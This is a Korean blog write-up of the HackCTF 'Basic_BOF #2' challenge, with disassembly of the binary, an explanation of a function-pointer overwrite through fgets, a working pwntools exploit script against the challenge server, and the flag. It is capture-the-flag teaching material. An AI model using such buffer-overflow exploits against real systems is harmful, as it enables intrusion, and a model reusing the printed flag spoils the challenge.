마찬가지로 NX 가 Enabled, Canary는 Disabled된 상태.
쉘코드 삽입은 불가능해보인다.
shell이라는 함수가 의심스럽다.
Dump of assembler code for function shell:
0x0804849b <+0>: push ebp
0x0804849c <+1>: mov ebp,esp
0x0804849e <+3>: sub esp,0x8
0x080484a1 <+6>: sub esp,0xc
0x080484a4 <+9>: push 0x80485a0
0x080484a9 <+14>: call 0x8048370 <system@plt>
0x080484ae <+19>: add esp,0x10
0x080484b1 <+22>: nop
0x080484b2 <+23>: leave
0x080484b3 <+24>: ret
End of assembler dump.
system 함수를 통해 shell을 얻는 함수이다.
Dump of assembler code for function main:
0x080484cd <+0>: lea ecx,[esp+0x4]
0x080484d1 <+4>: and esp,0xfffffff0
0x080484d4 <+7>: push DWORD PTR [ecx-0x4]
0x080484d7 <+10>: push ebp
0x080484d8 <+11>: mov ebp,esp
0x080484da <+13>: push ecx
0x080484db <+14>: sub esp,0x94
0x080484e1 <+20>: mov DWORD PTR [ebp-0xc],0x80484b4
0x080484e8 <+27>: mov eax,ds:0x804a040
0x080484ed <+32>: sub esp,0x4
0x080484f0 <+35>: push eax
0x080484f1 <+36>: push 0x85
0x080484f6 <+41>: lea eax,[ebp-0x8c]
0x080484fc <+47>: push eax
0x080484fd <+48>: call 0x8048350 <fgets@plt>
0x08048502 <+53>: add esp,0x10
0x08048505 <+56>: mov eax,DWORD PTR [ebp-0xc]
0x08048508 <+59>: call eax
0x0804850a <+61>: mov eax,0x0
0x0804850f <+66>: mov ecx,DWORD PTR [ebp-0x4]
0x08048512 <+69>: leave
0x08048513 <+70>: lea esp,[ecx-0x4]
0x08048516 <+73>: ret
End of assembler dump.
main함수의 어셈블리이다. fgets 함수를 통해 buf에 값을 저장하고, 이를 이용해서 BOF를 시도하면 될 것 같다.
0x080484e1 <+20>: mov DWORD PTR [ebp-0xc],0x80484b4
buf의 마지막 0xc 메모리에 0x80484b4(sup 함수의 주소)를 저장한다.
sup함수를 보면
Dump of assembler code for function sup:
0x080484b4 <+0>: push ebp
0x080484b5 <+1>: mov ebp,esp
0x080484b7 <+3>: sub esp,0x8
0x080484ba <+6>: sub esp,0xc
0x080484bd <+9>: push 0x80485ac
0x080484c2 <+14>: call 0x8048360 <puts@plt>
0x080484c7 <+19>: add esp,0x10
0x080484ca <+22>: nop
0x080484cb <+23>: leave
0x080484cc <+24>: ret
End of assembler dump.
특정 문자열을 출력하는 함수이다.
즉 원하는 shell을 얻을 수 없는 함수이며, 이를 우회할 필요가 있다.
0x080484f6 <+41>: lea eax,[ebp-0x8c]
0x080484fc <+47>: push eax
0x080484fd <+48>: call 0x8048350 <fgets@plt>
buf의 끝에서 -0x8c의 주소에 fgets함수를 통해 받은 입력값을 저장한다.
0x08048505 <+56>: mov eax,DWORD PTR [ebp-0xc]
0x08048508 <+59>: call eax
buf의 끝에서 -0xc주소의 값을 주소로 가지는 함수를 호출한다.
즉, 이 값이 shell 함수의 주소값이 되게 하면 된다.
from pwn import *
#p = process("./bof_basic2")
p = remote("ctf.j0n9hyun.xyz",3001)
addr = 0x804849b
s = "A"*0x80 + p32(addr)
p.sendline(s)
p.interactive()
마찬가지로 python을 이용해 exploit 코드를 짜고 실행시켜준다.
p32()함수는 32bit Little endian에 맞게 바이트 값을 바꿔주는 함수이다.
FLAG : HackCTF{h3y_dud3_600d_f0r_y0u}
반응형
'WriteUp > HackCTF' 카테고리의 다른 글
[HackCTF] gift (0) | 2021.08.08 |
---|---|
[HackCTF] RTL_World (0) | 2021.08.08 |
[HackCTF] ROP (0) | 2021.08.08 |
[HackCTF] x64 buffer overflow (0) | 2021.08.08 |
[HackCTF] Basic_BOF #1 (0) | 2021.08.08 |